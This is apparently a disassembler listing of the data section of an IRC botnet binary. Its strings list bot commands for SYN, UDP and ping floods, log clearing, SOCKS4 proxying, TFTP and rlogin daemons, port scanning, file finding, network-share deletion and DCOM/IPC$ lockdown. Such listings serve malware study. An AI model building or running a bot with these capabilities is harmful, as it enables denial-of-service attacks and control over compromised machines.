unk_432698	db    2			; DATA XREF: sub_40EE72+156Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSFo_1	db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn	db 'ddos.supersyn',0    ; DATA XREF: sub_40EE72+14D8o
		align 4
aCom_ni		db 'com.ni',0           ; DATA XREF: sub_40EE72+14C3o
		align 10h
aCom_netinfo	db 'com.netinfo',0      ; DATA XREF: sub_40EE72+14AEo
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40EE72+1499o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40EE72+1484o
		align 4
aIrc_lg		db 'irc.lg',0           ; DATA XREF: sub_40EE72+146Fo
		align 10h
aIrc_log	db 'irc.log',0          ; DATA XREF: sub_40EE72+145Ao
aIrc_al		db 'irc.al',0           ; DATA XREF: sub_40EE72+1445o
		align 10h
aIrc_aliases	db 'irc.aliases',0      ; DATA XREF: sub_40EE72+1430o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40EE72+141Bo
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40EE72+1406o
		align 4
dword_432758	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13D2o
		dd 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_43278C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13CBo
		dd 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aCom_rebewt	db 'com.rebewt',0       ; DATA XREF: sub_40EE72+13B4o
		align 4
aIrc_i		db 'irc.i',0            ; DATA XREF: sub_40EE72+139Fo
		align 4
aIrc_id		db 'irc.id',0           ; DATA XREF: sub_40EE72+138Ao
		align 4
aIrc_s		db 'irc.s',0            ; DATA XREF: sub_40EE72+1375o
		align 4
aIrc_status	db 'irc.status',0       ; DATA XREF: sub_40EE72+1360o
		align 4
aIrc_q		db 'irc.q',0            ; DATA XREF: sub_40EE72+134Bo
		align 10h
aIrc_quit	db 'irc.quit',0         ; DATA XREF: sub_40EE72+1336o
		align 4
aIrc_d		db 'irc.d',0            ; DATA XREF: sub_40EE72+1321o
		align 4
aIrc_disconnect	db 'irc.disconnect',0   ; DATA XREF: sub_40EE72+130Co
		align 4
aIrc_r		db 'irc.r',0            ; DATA XREF: sub_40EE72+12F7o
		align 4
aIrc_reconnect	db 'irc.reconnect',0    ; DATA XREF: sub_40EE72+12E2o
		align 4
aRoot_st	db 'root.st',0          ; DATA XREF: sub_40EE72+12CDo
aRoot_stats	db 'root.stats',0       ; DATA XREF: sub_40EE72+12B8o
		align 10h
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40EE72+12ADo
		align 10h
aScan		db 'Scan',0             ; DATA XREF: sub_40EE72+12A8o
		align 4
aRoot_stop	db 'root.stop',0        ; DATA XREF: sub_40EE72+128Fo
		align 4
dword_432864	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: sub_40EE72+1284o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40EE72+127Fo
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40EE72+1266o
		align 4
dword_43288C	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: sub_40EE72+125Bo
aClone		db 'Clone',0            ; DATA XREF: sub_40EE72+1256o
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40EE72+123Do
		align 10h
aCom_ps_off	db 'com.ps.off',0       ; DATA XREF: sub_40EE72+1228o
		align 4
aCom_procs_off	db 'com.procs.off',0    ; DATA XREF: sub_40EE72+1213o
		align 4
aUtil_ff_off	db 'util.ff.off',0      ; DATA XREF: sub_40EE72+11FEo
aUtil_findfile_	db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o
		align 4
dword_4328EC	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+11DEo
aDaemon_tftp_of	db 'daemon.tftp.off',0  ; DATA XREF: sub_40EE72+11C0o
dword_432908	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o
dword_432914	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o
dword_432920	dd 736F6464h, 6E69702Eh, 666F2E67h, 66h	; DATA XREF: sub_40EE72+1197o
dword_432930	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co
dword_43293C	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o
dword_432948	dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+116Eo
dword_432958	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o
dword_432964	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo
dword_432970	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+1145o
dword_432980	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao
dword_43298C	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o
dword_432998	dd 736F6464h, 66666F2Eh, 0 ; DATA XREF:	sub_40EE72+111Co
dword_4329A4	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o
dword_4329B4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_40EE72+110Co
aProxy_redirect	db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o
		align 4
dword_4329D8	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o
dword_4329E4	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40EE72+10E3o
dword_4329F0	dd 2E676F6Ch, 66666Fh	; DATA XREF: sub_40EE72+10CAo
dword_4329F8	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+10C2o
dword_432A04	dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o
dword_432A14	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: sub_40EE72+109Co
aDaemon_rlogin_	db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo
		align 4
dword_432A38	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: sub_40EE72+105Co
aServer		db 'Server',0           ; DATA XREF: sub_40EE72+1057o
					; sub_40EE72+1097o ...
		align 10h
aProxy_socks4_0	db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo
		align 4
aProxy_s4_on	db 'proxy.s4.on',0      ; DATA XREF: sub_40EE72+1029o
aProxy_socks4_o	db 'proxy.socks4.on',0  ; DATA XREF: sub_40EE72+1014o
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40EE72+FFFo
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40EE72+FEAo
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40EE72+FD5o
		align 10h
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40EE72+FC0o
aVer		db 'ver',0              ; DATA XREF: sub_40EE72+FABo
aIrc_version	db 'irc.version',0      ; DATA XREF: sub_40EE72+F96o
aLo		db 'lo',0               ; DATA XREF: sub_40EE72+F81o
		align 10h
aIrc_logout	db 'irc.logout',0       ; DATA XREF: sub_40EE72+F6Co
		align 4
aIrc_di		db 'irc.di',0           ; DATA XREF: sub_40EE72+F57o
		align 4
aIrc_die	db 'irc.die',0          ; DATA XREF: sub_40EE72+F42o
aRn		db 'rn',0               ; DATA XREF: sub_40EE72+F2Do
		align 10h
aIrc_rndnick	db 'irc.rndnick',0      ; DATA XREF: sub_40EE72+F15o
a63		db '63',0               ; DATA XREF: sub_40EE72+DEEo
		align 10h
asc_432AF0:				; DATA XREF: sub_40EE72+DC6o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40EE72+D89o
		align 4
aServer_0	db '$server',0          ; DATA XREF: sub_40EE72+D7Eo
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40EE72+D6Do
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_40EE72+D51o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_40EE72+D40o
		align 10h
aMe_0		db '$me',0              ; DATA XREF: sub_40EE72+D2Eo
aD		db '$%d',0              ; DATA XREF: sub_40EE72+CC0o
aD_0		db '$%d-',0             ; DATA XREF: sub_40EE72+C05o
		align 10h
aC_0:					; DATA XREF: sub_40EE72+B19o
		unicode	0, <c>,0
dword_432B34	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AE4o
		dd 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_432B74	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AD6o
		dd 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 4
dword_432BB4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AC8o
		dd 2BBBB02h
aFailedToSta_29	db '  Failed to start chat thread, error: <%d>.',0
dword_432BF8	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+A59o
		dd 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40EE72+9BFo
		align 10h
dword_432C30	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+99Co
		dd 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_432C80	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+984o
					; sub_40EE72+4ABCo
		dd 2BBBB02h
aFailedToSta_30	db '  Failed to start transfer thread, error: <%d>.',0
dword_432CC8	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40EE72+973o
		dd 0A0Dh
dword_432CE0	dd 4E495001h, 47h	; DATA XREF: sub_40EE72+93Fo
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o
		align 4
dword_432D04	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40EE72+8DCo
		dd 0D017325h, 0Ah
dword_432D20	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40EE72+8ABo
dword_432D2C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+791o
		dd 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40EE72+6E8o
		align 10h
dword_432D70	dd 43434401h, 0		; DATA XREF: sub_40EE72+6CAo
dword_432D78	dd 323333h		; DATA XREF: sub_40EE72+651o
					; sub_40EE72+B4Fo ...
dword_432D7C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D2o
		dd 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_432DAC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5ABo
		dd 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40EE72+574o
aPart		db 'PART',0             ; DATA XREF: sub_40EE72+526o
					; sub_40EE72+5EFo
		align 4
aSS_0		db ':%s%s',0            ; DATA XREF: sub_40EE72+4FEo
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_40EE72+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o
					; sub_40EE72+613o
dword_432E08	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+355o
					; sub_40EE72+5FF4o ...
		dd 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40EE72+2E4o
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+28Do
					; sub_40EE72+4EB7o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40EE72+262o
a@:					; DATA XREF: sub_40EE72+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40EE72+22Ao
a005		db '005',0              ; DATA XREF: sub_40EE72+215o
a001		db '001',0              ; DATA XREF: sub_40EE72+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o
					; sub_40EE72+3B7o ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40EE72+1A9o
		align 4
asc_432E84:				; DATA XREF: sub_40EE72+19Ao
					; sub_40EE72+60FBo
		unicode	0, <!>,0
asc_432E88	db ' :',0               ; DATA XREF: sub_40EE72+86o
					; sub_40EE72:loc_40FA19o
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_41518A+120o
		align 4
unk_432E98	db    2			; DATA XREF: sub_41533B:loc_4153C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListFai	db 'Process list failed.',0
		align 10h
unk_432ED0	db    2			; DATA XREF: sub_41533B+80o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListCom	db 'Process list completed.',0
unk_432F08	db    2			; DATA XREF: sub_41533B+19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aListingProcess	db 'Listing processes:',0
		align 4
dword_432F3C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415669o
		dd 2029671Fh, 2BBBB02h
aUserLoggedOutS	db '  User logged out: <%s@%s>.',0
dword_432F74	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415642o
		dd 2029671Fh, 2BBBB02h
aErrorSessionru	db '  Error: SessionRun(): <%d>.',0
		align 10h
dword_432FB0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415622o
		dd 2029671Fh, 2BBBB02h
aUserLoggedInS@	db '  User logged in: <%s@%s>.',0
		align 4
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F2o
		align 4
dword_432FFC	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415561o
		dd 2029671Fh, 2BBBB02h
aErrorGetpeerna	db '  Error: getpeername(): <%d>.',0
		align 4
dword_433038	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_415685:loc_4156CAo
		dd 2029671Fh, 2BBBB02h
aProtocolString	db '  Protocol string too long.',0
dword_433070	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156DF+1Bo
		dd 2029671Fh, 2BBBB02h,	6F4C2020h, 206E6967h, 656A6572h
		dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h
		dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h
		dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h
		dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h
		dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh
		dd 2BBBB02h, 61462020h,	64656C69h, 206F7420h, 72617473h
		dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h
		dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h
		dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h
		dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h
		dd 61657268h, 25203A64h, 2E64h,	7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h
		dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h
		dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h
		dd 2Eh,	7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	61462020h, 64656C69h, 206F7420h
		dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h
		dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h
		dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	72452020h, 3A726F72h, 41535720h
		dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 0
aConst		db 'const',0
		align 4
		dd 0
dword_43327C	dd 1			; DATA XREF: sub_415D01+7o
off_433280	dd offset sub_415996	; DATA XREF: sub_415D01+49r
aLetter		db 'letter',0
		align 10h
		dd 2, 4159F4h, 706D6F63h, 2 dup(0)
		dd 3, 415A41h, 6E756F63h, 797274h, 0
		dd 4, 415ADFh, 736Fh, 2	dup(0)
		dd 5, 415B54h
dword_4332D4	dd 69257325h, 0		; DATA XREF: sub_415996+40o
					; ___:00415AC0o ...
byte_4332DC	db 50h			; DATA XREF: ___:00415A63o
					; ___:00415A70r
		db 43h,	2 dup(0)
dword_4332E0	dd 7C7325h		; DATA XREF: ___:00415B0Eo
					; sub_415D01+39o
dword_4332E4	dd 5D73255Bh, 7Ch	; DATA XREF: ___:00415C18o
dword_4332EC	dd 334B32h		; DATA XREF: ___:00415C08o
dword_4332F0	dd 5D64255Bh, 7325h	; DATA XREF: sub_415C5E+3Ao
dword_4332F8	dd 5D4D5Bh		; DATA XREF: sub_415C5E+2Co
					; sub_415C5E+57o
unk_4332FC	db    2			; DATA XREF: sub_415D6A+92o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
		db    2
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
off_433370	dd offset dword_4333A8	; DATA XREF: sub_415F88+1B3o
					; sub_4162AC+17Ao
		align 8
		dd offset dword_4333A0
		align 10h
off_433380	dd offset dword_43339C	; DATA XREF: sub_4162AC+1E3o
		dd offset dword_433398
		dd offset dword_433394
		dd offset dword_433390
dword_433390	dd 5C3A44h		; DATA XREF: sub_415F88+217o
					; ___:0043338Co
dword_433394	dd 2444h		; DATA XREF: ___:00433388o
dword_433398	dd 5C3A43h		; DATA XREF: ___:00433384o
dword_43339C	dd 2443h		; DATA XREF: ___:off_433380o
dword_4333A0	dd 494D4441h, 244Eh	; DATA XREF: ___:00433378o
dword_4333A8	dd 24435049h, 0		; DATA XREF: ___:off_433370o
unk_4333B0	db    2			; DATA XREF: sub_415F88+2E5o
					; sub_4162AC+2DBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
unk_4333F0	db    2			; DATA XREF: sub_415F88+2CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_433428	db    2			; DATA XREF: sub_415F88:loc_4161EAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_433464	db    2			; DATA XREF: sub_415F88+25Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 4
unk_433498	db    2			; DATA XREF: sub_415F88:loc_416157o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_4334D4	db    2			; DATA XREF: sub_415F88+1C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_433508	db    2			; DATA XREF: sub_415F88:loc_4160BAo
					; sub_4162AC:loc_4163DAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_433548	db    2			; DATA XREF: sub_415F88:loc_4160B3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_433594	db    2			; DATA XREF: sub_415F88:loc_416095o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_4335D8	db    2			; DATA XREF: sub_415F88+106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_415F88+EDo
					; sub_4162AC+EDo
		align 4
unk_433638	db    2			; DATA XREF: sub_415F88+91o
					; sub_4162AC+91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_433678	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_415F88:loc_415FF5o
		dd 2202967h, 2002BBBBh,	4F434420h, 6964204Dh, 6C626173h
		dd 2E6465h
unk_4336A4	db    2			; DATA XREF: sub_415F88+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_415F88+54o
					; sub_4162AC+54o
		align 4
word_4336E4	dw 4Eh			; DATA XREF: sub_415F88+38r
		align 4
unk_4336E8	db    2			; DATA XREF: sub_4162AC+2C3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_1		db '%c:\',0             ; DATA XREF: sub_4162AC+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_4162AC+219o
unk_433728	db    2			; DATA XREF: sub_4162AC:loc_41644Bo
					; sub_4162AC:loc_41651Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 10h
unk_433760	db    2			; DATA XREF: sub_4162AC+198o
					; sub_4162AC+269o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 10h
